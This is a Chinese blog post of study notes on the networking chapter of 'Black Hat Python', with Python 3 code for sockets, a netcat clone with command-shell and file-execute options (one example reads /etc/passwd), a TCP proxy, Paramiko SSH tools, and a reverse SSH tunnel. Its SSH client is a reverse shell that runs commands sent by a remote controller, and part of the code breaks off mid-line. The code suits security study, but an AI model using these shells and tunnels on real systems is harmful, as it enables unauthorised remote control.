java 单机接口限流处理方案
229
2022-10-11
python3黑帽子mbp版(第2章:网络基础)
写在最前面的话:很早之前就想学python了,趁着买来了书,打算开始python学习之旅。先说下我的工具:使用的是sublime text3编辑器,主要使用的网站是廖雪峰老师的网站,借鉴了很多ODboy博客中的知识点。tcp客户端
#!/usr/bin/env python3 # -*- code: utf-8 -*- import socket target_host="baidu.com" target_port=80 client=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #AF_INET表示IPv4, socket.SOCK_STREAM 表示TCP协议 client.connect((target_host,target_port)) #参数是一个元祖,包含地址和端口号。 client.send(b"GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n") response=client.recv(4096) print (response) client.close
UDP客户端
#!/usr/bin/env python3 # -*- code: utf-8 -*- target_host="127.0.0.1" target_port=12345 client=socket(AF_INET,SOCK_DGRAM) client.sendto("BBC".encode("utf-8"),(target_host,target_port)) print(client.recvfrom(4096).decode("utf-8")) client.close()
这两个是客户端是比较简单的,只有简单的连接功能,由于没有找到合适的UDP客户端,这里直接监听本机端口来连接。
TCP服务端
#!/usr/bin/env python3 #coding=utf8 from socket import * from time import ctime import os import threading bufsize = 1024 addr = ('0.0.0.0',13140) # 定义socket类型,网络通信 server=socket(AF_INET,SOCK_STREAM) server.bind(addr) server.listen(5) print("listening on",addr) def handle_client(client_socket): request=client_socket.recv(1024) print("received:%s" %request) client_socket.send(bytes("ACK!".encode("utf-8"))) client_socket.close() while True: # client是客户端的socket对象,add是地址加端口,此client等于函数中的client_socket client,add1=server.accept() print("accpet connection from:%s:%d" %(add1[0],add1[1])) # 用于线程化的args参数。线程应该是一个元组,所以应该是client, client_handle=threading.Thread(target=handle_client,args=(client,)) client_handle.start()
这是连接服务端的代码,跟tcp和udp客户端有些小区别。
#coding=utf8 from socket import * host="127.0.0.1" port=13140 data=input("输入要发送的信息:") client=socket(AF_INET,SOCK_STREAM) print("正在连接...") client.connect((host,port)) client.send(data.encode("utf-8")) print ("Connected from ",client.getsockname()) print ("Connected to ",client.getpeername()) print(client.recv(4096).decode("utf-8"))
本地服务端:
本地客户端:
取代netcat
#!/usr/bin/env python3
#coding=utf-8
import sys
from socket import *
import getopt #用来处理命令行参数
import threading
import subprocess #启动一个shell,并控制输入输出
#-e和-p有问题,mac下运行没什么问题,win下有问题,运行的命令会出现问题。
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print("netcat")
print("Usage:nc_hacker.py -t target_host -p target_port")
print("-l --listen - listen on [host]:[port] for incoming connections")
print("-e --execute=ile_to_run - execute the given file upon receiving a connection")
print("-c --command - initialize a command shell")
print("-u --upload=destination - upon receiving connection upload a file and write to [destination]")
print("Examples: ")
print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -c")
print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe")
print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"")
print("echo 'ABCDEFGHI' | ./nc_hacker.py -t 192.168.11.12 -p 135")
sys.exit(0)
#主函数
def main():
global listen
global port
global execute
global command
global upload_destination
global target
#没有输入值就显示菜单
if not len(sys.argv[1:]):
usage()
try:
#getopt模块处理命令行,
#h后面没有冒号:表示后面不带参数,p:和i:后面有冒号表示后面需要参数
#help后面没有等号=,表示后面不带参数,有=,表示后面需要参数
#返回值options是个包含元祖的列表,每个元祖是分析出来的格式信息,比如[('-i','127.0.0.1'),('-p','80')]
#args 是个列表,包含那些没有‘-’或‘--’的参数,比如:['55','66']
opts,args=getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o,a in opts:
if o in("-h","--help"):
usage()
elif o in("-l","--listen"):
listen=True
elif o in("-e","--execute"):
execute=a
elif o in("-c","--command"):
command=True
elif o in("-u","--upload"):
upload_destination=a
elif o in("-t","--target"):
target=a
elif o in("-p","--port"):
port=int(a)
else:
print("unhandled option")
# 从标准输入中发送数据
if not listen and len(target) and port > 0:
# 读取输入的数据
# 这里将阻塞,发送ctrl-d使用
buffer=input()#sys.stdin.read()
# 发送数据
client_sender(buffer)
# 进行监听
if listen:
print('the server is listening on %s:%d' %(target,port))
server_loop()
# 客户端代码
def client_sender(buffer):
client = socket(AF_INET, SOCK_STREAM)
try:
print("start connecting...")
client.connect((target,port))
print("connected")
#如果我们检测到来自stdin的输入。
#如果不是,我们就等待用户输入。
if len(buffer):
client.send(buffer)
while True:
# 等待数据回传
recv_len = 1
response = ""
print("waiting response:")
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data.decode("utf-8")
if recv_len < 4096:
break
print(response,end="")
# 等待更多输入
buffer = input("")
buffer += "\n"
client.send(buffer.encode("utf-8"))
except:
print("[*] Exception! Exiting.")
# 断开连接
client.close()
# 服务端代码
def server_loop():
global target,port
# 如果没有定义目标,就监听所有接口
if not len(target):
target = "0.0.0.0"
server = socket(AF_INET,SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# print(client_socket)
本地服务端:
本地客户端:
切换到python3后,netcat中有很多功能不完善,后期有时间要优化一下。
创建一个TCP代理
#!/usr/bin/env python3 #coding=utf-8 import sys from socket import * import threading # 16进制导出函数 def hexdump(src, length=16): result = [] # 判读输入是否为字符串 digits = 4 if isinstance(src, str) else 2 for i in range(0, len(src), length): # 将字符串切片为16个为一组 s = src[i:i+length] # 用16进制来输出,x是digits的值,表示输出宽度 hexa = ' '.join(["%0*X" % (digits, (x)) for x in s]) # 用来输出原值 text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s]) #%-*s, 星号是length*(digits + 1)的值 result.append( "%04X %-*s %s" % (i, length*(digits + 1), hexa, text) ) print('\n'.join(result)) # 设置延时有问题,后续更改 def receive_from(connection): buffer = b"" # 设置5s延迟,connection=socket(AF_INET, SOCK_STREAM) connection.settimeout(5) try: # 保持数据的读取直到没有数据或超时 while True: data = connection.recv(4096) if not data: break buffer += data except: pass return buffer # 对目标主机的请求数据进行修改 def request_handler(buffer): return buffer # 对返回本地主机的响应数据进行修改 def response_handler(buffer): return buffer def proxy_handler(client_socket, target_host, target_port, receive_first): # 连接目标主机 target_socket = socket(AF_INET, SOCK_STREAM) target_socket.connect((target_host,target_port)) # 必要时从目标主机接收数据 if receive_first: target_buffer = receive_from(target_socket) hexdump(target_buffer) # 发送给我们的响应处理程序 target_buffer = response_handler(target_buffer) # 如果要发送数据给本地客户端,发送它 if len(target_buffer): print("[<==] Sending %d bytes to localhost." % len(target_buffer)) client_socket.send(target_buffer) # 现在我们从本地循环读取数据,发送给远程主机和本地主机 while True: # 从本地读取数据 local_buffer = receive_from(client_socket) if len(local_buffer): print("[==>] Received %d bytes from localhost." % len(local_buffer)) hexdump(local_buffer) # 发送给我们的本地请求 local_buffer = request_handler(local_buffer) # 发送数据给目标主机 target_socket.send(local_buffer) print("[==>] Sent to target.") # 接收响应的数据 target_buffer = receive_from(target_socket) if len(target_buffer): print("[<==] Received %d bytes from target." % len(target_buffer)) hexdump(target_buffer) # 发送到响应处理函数 target_buffer = response_handler(target_buffer) # 将响应发送给本地socket client_socket.send(target_buffer) print("[<==] Sent to localhost.") # 两边没有数据了,就关闭连接 if not len(local_buffer) or not len(target_buffer): client_socket.close() target_socket.close() print("[*] No more data. Closing connections.") break def server_loop(local_host,local_port,target_host,target_port,receive_first): server = socket(AF_INET, SOCK_STREAM) try: server.bind((local_host,local_port)) except: print("[!!] Failed to listen on %s:%d" % (local_host,local_port)) print("[!!] Check for other listening sockets or correct permissions.") sys.exit(0) print("[*] Listening on %s:%d" % (local_host,local_port)) server.listen(5) while True: client_socket, addr = server.accept() # 本地连接信息 print("[==>] Received incoming connection from %s:%d" % (addr[0],addr[1])) # 开启线程和目标主机通信 proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,target_host,target_port,receive_first)) proxy_thread.start() def main(): if len(sys.argv[1:]) != 5: print("Usage: ./proxy.py [localhost] [localport] [targethost] [targetport] [receive_first]") print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True") sys.exit(0) # 本地参数 local_host = sys.argv[1] local_port = int(sys.argv[2]) # 目标参数 target_host = sys.argv[3] target_port = int(sys.argv[4]) receive_first = sys.argv[5] if "True" in receive_first: receive_first = True else: receive_first = False # 开始监听 server_loop(local_host,local_port,target_host,target_port,receive_first) main()
代理服务器:
本地客户端连接:
这个16进制导出函数非常漂亮,花了很多时间在上面学习。
系统中处理数据都是unicode(也就是Python3中的str), 而传输数据用的都是UTF-8(Python3中bytes)
wireshark抓包的时候需要干净的主机(除了需要抓包的应用程序,其他的都不要),而TCP代理可以让你看清楚单个的数据包,可以更好的帮助你了解未知的协议以及其他的信息。
通过Paramiko使用SSH
SSH服务端:
#!/usr/bin/env python3 # coding=utf-8 from socket import * import paramiko import threading import sys #http://freeloda.blog./2033581/1216176 # 使用命令生成私钥openssl genrsa -out rsa_private_key.pem 1024,经过抓包,发现是加密的 #http://jb51.net/article/70036.htm host_key=paramiko.RSAKey(filename='rsa_private_key.pem') class Server(paramiko.ServerInterface): def __init__(self): # 执行start_server()方法首先会触发Event,如果返回成功,is_active返回True self.event=threading.Event() # 当认证成功,client会请求打开一个Channel def check_channel_request(self, kind, chanid): if kind=='session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED # 当is_active返回True,进入到认证阶段 def check_auth_password(self,username,password): if (username=='Star') and (password=='123'): return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILED server=sys.argv[1] ssh_port=int(sys.argv[2]) # 建立服务端socket try: sock = socket(AF_INET, SOCK_STREAM) # SOL_SOCKET 意思是正在使用的socket选项。 # SO_REUSEADDR 当socket关闭后,本地端用于该socket的端口号立刻就可以被重用 # 1 表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。 sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) sock.bind((server, ssh_port)) sock.listen(100) print('[+] Listening for connection ...') client, addr = sock.accept() except Exception as e: print ('[-] Listen failed: ' + str(e)) sys.exit(1) print ('[+] Got a connection!') try: # 用sock.accept()返回的socket实例化Transport bhSession = paramiko.Transport(client) # 添加一个RSA密钥加密会话 bhSession.add_server_key(host_key) server = Server() try: # 启动SSH服务端 bhSession.start_server(server=server) except paramiko.SSHException as x: print ('[-] SSH negotiation failed.') chan = bhSession.accept(20) # 等待客户端开启通道,超时时间为20s # accept(timeout=None) # Return the next channel opened by the client over this transport, in server mode. If no channel is opened before the given timeout, None is returned. # Parameters: timeout (int) – seconds to wait for a channel, or None to wait forever # Returns: a new Channel opened by the client # http://docs.paramiko.org/en/1.15/api/transport.html print ('[+] Authenticated!') print (chan.recv(1024)) chan.send(b'Welcome to ssh') while True: try: command= input("Enter command: ").strip('\n') if command != 'exit': # 输入值编码 chan.send(command.encode("utf-8")) # 接收值编码 print(chan.recv(1024).decode("utf-8") + '\n') else: chan.send(b'exit') print ('exiting') bhSession.close() #正常情况没有输出,这里让它报出异常 raise Exception ('exit') except KeyboardInterrupt: bhSession.close() except Exception as e: print ('[-] Caught exception: ' + str(e)) try: bhSession.close() except: pass sys.exit(1)
ssh客户端:
#!/usr/bin/env python3 #coding=utf-8 import threading import paramiko import subprocess def ssh_command(ip,user,passwd,command): # 建立一个sshclient对象 client = paramiko.SSHClient() # client.load_host_keys("路径") # 允许将信任的主机自动加入到host_allow列表,此方法必须放在connect方法的前面 client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 连接服务器 client.connect(ip, username=user, password=passwd) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.send(command.encode("utf-8")) # 输出banner信息 print(ssh_session.recv(1024).decode("utf-8")) while True: # 从服务端获得命令 command =ssh_session.recv(1024).decode("utf-8") try: cmd_output = subprocess.check_output(command,shell =True) ssh_session.send(cmd_output) except Exception as e: ssh_session.send(str(e).encode("utf-8")) client.close() return #如何让command输出字符串 ssh_command("192.168.3.110","Star","123","ClientConnected")
在本地我生成了一个私钥,没有生成公钥,然后就可以秘钥连接了:
openssl genrsa -out rsa_private_key.pem 2048
ssh客户端:
ssh服务端:
我把服务端放在了我的Win10上,可以看到获取到了mac上的shell。这里是反向链接,是放在目标主机上的是客户端。
ssh隧道
#!/usr/bin/env python3
#coding=utf-8
import paramiko
import sys
import socket
from optparse import OptionParser
import threading
import getpass
import os
import select
SSH_PORT = 22
DEFAULT_PORT = 4000
g_verbose = True
HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""
def get_host_port(spec, default_port):
# 解析'主机名:22'到主机和端口,端口可选。
args = (spec.split(':', 1) + [default_port])[:2]
args[1] = int(args[1])
return args[0], args[1]
# https://ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
def main():
# 传入参数,server指ssh服务器,remote指要连接的服务器
# options,它是一个对象,保存有命令行参数值。知道命令行参数名,就可以访问其对应的值:options.file
options,server,remote = parse_options()
password = None
if options.readpass:
password = getpass.getpass("Enter SSH password:")
# 建立一个sshclient对象
client = paramiko.SSHClient()
# 加载本地的known_hosts文件,纪录连到对方时,对方给的host key。每次连线时都会检查
# 目前对方给的host key与纪录的host key是否相同,可以简单验证连结是否又被诈骗等相关事宜。
client.load_system_host_keys()
# 用ssh连接远程主机时,第一次连接时会提示是否继续进行远程连接,选择yes
# 这里主动帮你选上yes
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose("Connecting to ssh host %s:%d ..." %(server[0], server[1]))
try:
client.connect(server[0],server[1],username = options.user,key_filename =\
options.keyfile,look_for_keys = options.look_for_keys,password = password)
except Exception as e:
print("*** Failed to connect to %s:%d:%r" %(server[0],server[1],e))
sys.exit(1)
verbose("Now forwarding remote port %d to %s:%d ..." %((options.port),\
remote[0],remote[1]))
try:
#get_transport返回用于此目的的底层传输SSH连接。这可以被用于执行低级别的任务,如打开特定的通道。
#client.get_transport=实例化transport
reverse_forward_tunnel(options.port,remote[0],remote[1],client.get_transport())
except KeyboardInterrupt:
print("C-c: Port forwarding stopped.")
sys.exit(0)
def verbose(s):
if g_verbose:
print(s)
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
# request_port_forward ==> 把端口数据的发送和接收通过新的传输通道转发出去
transport.request_port_forward("", server_port)
while True:
chan = transport.accept(1000)
if chan is None:
continue
thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
thr.setDaemon(True)
thr.start()
def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as e:
verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
return
verbose("Connected! Tunnel open %r -> %r -> %r" % (chan.origin_addr,\
chan.getpeername(), (host, port)))
while True:
# http://cnblogs.com/alex3714/p/4372426.html
# select通过单进程实现同时处理多个非阻塞的socket连接。
# 可以为系统底层中接收就绪一个消息后就会标注一个记号,我们读取到记号后采取相应的动作。
# 这里实现了channel与sock的数据交换。
r, w, x = select.select([sock, chan], [], [])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
sock.send(data)
# 停止发送和接收数据
chan.close()
sock.close()
verbose("Tunnel closed from %r" % (chan.origin_addr,))
def parse_options():
global g_verbose
# http://blog.csdn.net/cclarence/article/details/50964316
# 解析命令行参数,dest的值是options点后面加的值
parser = OptionParser(usage='usage: %prog [options]
路由器的登录页面
这里是用mac连接kali的机子,然后在kali上查看路由器的登录页面。
版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。
发表评论
暂时没有评论,来抢沙发吧~